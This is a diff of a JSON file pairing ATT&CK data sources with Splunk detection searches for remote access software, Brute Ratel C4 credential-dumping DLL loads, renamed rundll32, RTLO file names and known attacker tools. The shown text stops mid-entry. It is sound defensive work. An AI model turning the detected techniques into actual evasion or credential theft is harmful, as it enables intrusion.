"tactic": [ + "exfiltration" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -273493,634 +195711,7 @@ "Event ID": null, "Event Name": "Network protocol analysis" } - ], - { - "name": "Detect Remote Access Software Usage File", - "description": "The following analytic detects the writing of files from known remote access software to disk within the environment. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on file path, file name, and user information. This activity is significant as adversaries often use remote access tools like AnyDesk, GoToMyPC, LogMeIn, and TeamViewer to maintain unauthorized access. If confirmed malicious, this could allow attackers to persist in the environment, potentially leading to data exfiltration, further compromise, or complete control over affected systems.", - "search": "| tstats `security_content_summariesonly` count, min(_time) as firstTime, max(_time) as lastTime, values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem by Filesystem.dest, Filesystem.user, Filesystem.file_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Filesystem)` | lookup remote_access_software remote_utility AS file_name OUTPUT isutility, description as signature, comment_reference as desc, category | search isutility = TRUE | `detect_remote_access_software_usage_file_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A file for known a remote access software [$file_name$] was created on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Detect Remote Access Software Usage FileInfo", - "description": "The following analytic detects the execution of processes with file or code signing attributes from known remote access software within the environment. It leverages Sysmon EventCode 1 data and cross-references a lookup table of remote access utilities such as AnyDesk, GoToMyPC, LogMeIn, and TeamViewer. This activity is significant as adversaries often use these tools to maintain unauthorized remote access. If confirmed malicious, this could allow attackers to persist in the environment, potentially leading to data exfiltration or further compromise of the network.", - "search": "`sysmon` EventCode=1 | stats count min(_time) as firstTime max(_time) as lastTime, values(Company) as Company values(Product) as Product by dest, user, parent_process_name, process_name, process | lookup remote_access_software remote_utility_fileinfo AS Product OUTPUT isutility, description as signature, comment_reference as desc, category | search isutility = True | `detect_remote_access_software_usage_fileinfo_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A file attributes for known a remote access software [$process_name$] was detected on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Detect Remote Access Software Usage Process", - "description": "The following analytic detects the execution of known remote access software within the environment. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent processes mapped to the Endpoint data model. This activity is significant as adversaries often use remote access tools like AnyDesk, GoToMyPC, LogMeIn, and TeamViewer to maintain unauthorized access. If confirmed malicious, this could allow attackers to control systems remotely, exfiltrate data, or deploy additional malware, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.process!=unknown by Processes.dest Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup remote_access_software remote_utility AS process_name OUTPUT isutility, description as signature, comment_reference as desc, category | search isutility = True | `detect_remote_access_software_usage_process_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A process for a known remote access software $process_name$ was identified on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Windows Remote Access Software BRC4 Loaded Dll", - "description": "The following analytic identifies the loading of four specific Windows DLLs (credui.dll, dbghelp.dll, samcli.dll, winhttp.dll) by a non-standard process. This detection leverages Sysmon EventCode 7 to monitor DLL load events and flags when all four DLLs are loaded within a short time frame. This activity is significant as it may indicate the presence of Brute Ratel C4, a sophisticated remote access tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could lead to unauthorized access, credential theft, and further compromise of the affected system.", - "search": "`sysmon` EventCode=7 |bin _time span=30s | eval BRC4_AnomalyLoadedDll=case(OriginalFileName==\"credui.dll\", 1, OriginalFileName==\"DBGHELP.DLL\", 1, OriginalFileName==\"SAMCLI.DLL\", 1, OriginalFileName==\"winhttp.dll\", 1, 1=1, 0) | eval BRC4_LoadedDllPath=case(match(ImageLoaded, \"credui.dll\"), 1, match(ImageLoaded, \"dbghelp.dll\"), 1, match(ImageLoaded, \"samcli.dll\"), 1, match(ImageLoaded, \"winhttp.dll\"), 1, 1=1, 0) | stats count min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) as ImageLoaded values(OriginalFileName) as OriginalFileName dc(ImageLoaded) as ImageLoadedCount by Image BRC4_LoadedDllPath BRC4_AnomalyLoadedDll dest EventCode Signed | where ImageLoadedCount == 4 AND (BRC4_LoadedDllPath == 1 OR BRC4_AnomalyLoadedDll == 1) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_access_software_brc4_loaded_dll_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ loaded several modules $ImageLoaded$ that might related to credential access on $dest$.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Remote Access Software Hunt", - "description": "The following analytic identifies the use of remote access software within the environment. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This detection is significant as unauthorized remote access tools can be used by adversaries to maintain persistent access to compromised systems. If confirmed malicious, this activity could allow attackers to remotely control systems, exfiltrate data, or further infiltrate the network. Review the identified software to ensure it is authorized and take action against any unauthorized utilities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown by Processes.dest Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup remote_access_software remote_utility AS process_name OUTPUT isutility | search isutility = True | `windows_remote_access_software_hunt_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following Remote Access Software $process_name$ was identified on $dest$.", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Windows Remote Access Software RMS Registry", - "description": "The following analytic detects the creation or modification of Windows registry entries related to the Remote Manipulator System (RMS) Remote Admin tool. It leverages data from the Endpoint.Registry datamodel, focusing on registry paths containing \"SYSTEM\\\\Remote Manipulator System.\" This activity is significant because RMS, while legitimate, is often abused by adversaries, such as in the Azorult malware campaigns, to gain unauthorized remote access. If confirmed malicious, this could allow attackers to remotely control the targeted host, leading to potential data exfiltration, system manipulation, or further network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\SYSTEM\\\\Remote Manipulator System*\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_access_software_rms_registry_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry related to RMS tool is created in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Detect Remote Access Software Usage DNS", - "description": "The following analytic detects DNS queries to known remote access software domains from within the environment. It leverages DNS query logs mapped to the Network_Resolution data model and cross-references them with a lookup table of remote access software domains, such as AnyDesk, GoToMyPC, LogMeIn, and TeamViewer. This activity is significant as adversaries often use remote access tools to maintain persistent access to compromised systems. If confirmed malicious, this could allow attackers to control systems remotely, exfiltrate data, or further infiltrate the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.answer) as answer from datamodel=Network_Resolution by DNS.src DNS.query | `drop_dm_object_name(\"DNS\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | lookup remote_access_software remote_domain AS query OUTPUT isutility, description as signature, comment_reference as desc, category | eval dest = query | search isutility = True | `detect_remote_access_software_usage_dns_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "query", - "type": "Hostname", - "role": [ - "Attacker" - ] - } - ], - "message": "A domain for a known remote access software $query$ was contacted by $src$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Detect Remote Access Software Usage Traffic", - "description": "The following analytic detects network traffic associated with known remote access software applications, such as AnyDesk, GoToMyPC, LogMeIn, and TeamViewer. It leverages Palo Alto traffic logs mapped to the Network_Traffic data model in Splunk. This activity is significant because adversaries often use remote access tools to maintain unauthorized access to compromised environments. If confirmed malicious, this activity could allow attackers to control systems remotely, exfiltrate data, or deploy additional malware, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_port) as dest_port latest(user) as user from datamodel=Network_Traffic by All_Traffic.src All_Traffic.dest, All_Traffic.app | `drop_dm_object_name(\"All_Traffic\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | lookup remote_access_software remote_appid AS app OUTPUT isutility, description as signature, comment_reference as desc, category | search isutility = True | `detect_remote_access_software_usage_traffic_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Application traffic for a known remote access software [$signature$] was detected from $src$.", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - }, - { - "name": "Detect Remote Access Software Usage URL", - "description": "The following analytic detects the execution of known remote access software within the environment. It leverages network logs mapped to the Web data model, identifying specific URLs and user agents associated with remote access tools like AnyDesk, GoToMyPC, LogMeIn, and TeamViewer. This activity is significant as adversaries often use these utilities to maintain unauthorized remote access. If confirmed malicious, this could allow attackers to control systems remotely, exfiltrate data, or further compromise the network, posing a severe security risk.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime latest(Web.http_method) as http_method latest(Web.http_user_agent) as http_user_agent latest(Web.url) as url latest(Web.user) as user latest(Web.dest) as dest from datamodel=Web by Web.action Web.src Web.category Web.url_domain | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"Web\")` | lookup remote_access_software remote_domain AS url_domain OUTPUT isutility, description as signature, comment_reference as desc, category | search isutility = True | `detect_remote_access_software_usage_url_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Insider Threat", - "Ransomware" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url_domain", - "type": "Hostname", - "role": [ - "Attacker" - ] - } - ], - "message": "A domain for a known remote access software $url_domain$ was contacted by $src$.", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -277460,1688 +199051,7 @@ "Event ID": "LOG-MD - B9", "Event Name": "Binary file metadata" } - ], - { - "name": "Suspicious Rundll32 Rename", - "description": "The following hunting analytic identifies renamed instances of rundll32.exe executing. rundll32.exe is natively found in C:\\Windows\\system32 and C:\\Windows\\syswow64. During investigation, validate it is the legitimate rundll32.exe executing and what script content it is loading. This query relies on the original filename or internal name from the PE meta data. Expand the query as needed by looking for specific command line arguments outlined in other analytics.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=RUNDLL32.exe AND Processes.process_name!=rundll32.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_rename_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed rundll32.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious writes to System Volume Information", - "description": "This search detects writes to the 'System Volume Information' folder by something other than the System process.", - "search": "(`sysmon` OR tag=process) EventCode=11 process_id!=4 file_path=*System\\ Volume Information* | stats count min(_time) as firstTime max(_time) as lastTime by dest, Image, file_path | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_writes_to_system_volume_information_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Attacker Tools On Endpoint", - "description": "The following analytic detects the execution of tools commonly exploited by cybercriminals, such as those used for unauthorized access, network scanning, or data exfiltration. It leverages process activity data from Endpoint Detection and Response (EDR) agents, focusing on known attacker tool names. This activity is significant because it serves as an early warning system for potential security incidents, enabling prompt response. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further network compromise, posing a severe threat to the organization's security infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown by Processes.dest Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup attacker_tools attacker_tool_names AS process_name OUTPUT description | search description !=false| `attacker_tools_on_endpoint_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Monitor for Unauthorized Software", - "SamSam Ransomware", - "Unusual Processes", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An attacker tool $process_name$,listed in attacker_tools.csv is executed on host $dest$ by User $user$. This process $process_name$ is known to do- $description$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.005", - "mitre_attack_technique": "Match Legitimate Name or Location", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT32", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Blue Mockingbird", - "Carbanak", - "Chimera", - "Darkhotel", - "Earth Lusca", - "FIN13", - "FIN7", - "Ferocious Kitten", - "Fox Kitten", - "Gamaredon Group", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Poseidon Group", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "Sowbug", - "TA2541", - "TeamTNT", - "ToddyCat", - "Transparent Tribe", - "Tropic Trooper", - "Volt Typhoon", - "WIRTE", - "Whitefly", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1595", - "mitre_attack_technique": "Active Scanning", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect RTLO In File Name", - "description": "The following analytic identifies the use of the right-to-left override (RTLO) character in file names. It leverages data from the Endpoint.Filesystem datamodel, specifically focusing on file creation events and file names containing the RTLO character (U+202E). This activity is significant because adversaries use RTLO to disguise malicious files as benign by reversing the text that follows the character. If confirmed malicious, this technique can deceive users and security tools, leading to the execution of harmful files and potential system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_create_time) as file_create_time from datamodel=Endpoint.Filesystem where Filesystem.file_name!=unknown by Filesystem.dest Filesystem.user Filesystem.process_id Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex file_name = \"\\\\x{202E}\" | rex field=file_name \"(?.+)(?\\\\x{202E})(?.+)\" | eval file_name_with_RTLO=file_name | eval file_name=RTLO_file_1.RTLO_file_2 | fields - RTLO* | `detect_rtlo_in_file_name_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious RTLO detected in $file_name$ on endpoint $dest$ by user $user$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.002", - "mitre_attack_technique": "Right-to-Left Override", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "BRONZE BUTLER", - "BlackTech", - "Ferocious Kitten", - "Ke3chang", - "Scarlet Mimic" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect RTLO In Process", - "description": "The following analytic identifies the abuse of the right-to-left override (RTLO) character (U+202E) in process names. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line data. This activity is significant because adversaries use the RTLO character to disguise malicious files or commands, making them appear benign. If confirmed malicious, this technique can allow attackers to execute harmful code undetected, potentially leading to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process!=unknown AND Processes.action=allowed by Processes.dest Processes.user Processes.original_file_name Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | regex process=\"\\\\x{202E}\" | rex field=process \"(?.+)(?\\\\x{202E})(?.+)\" | eval process_with_RTLO=process | eval process=RTLO_command_1.RTLO_command_2 | fields - RTLO* | `detect_rtlo_in_process_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - 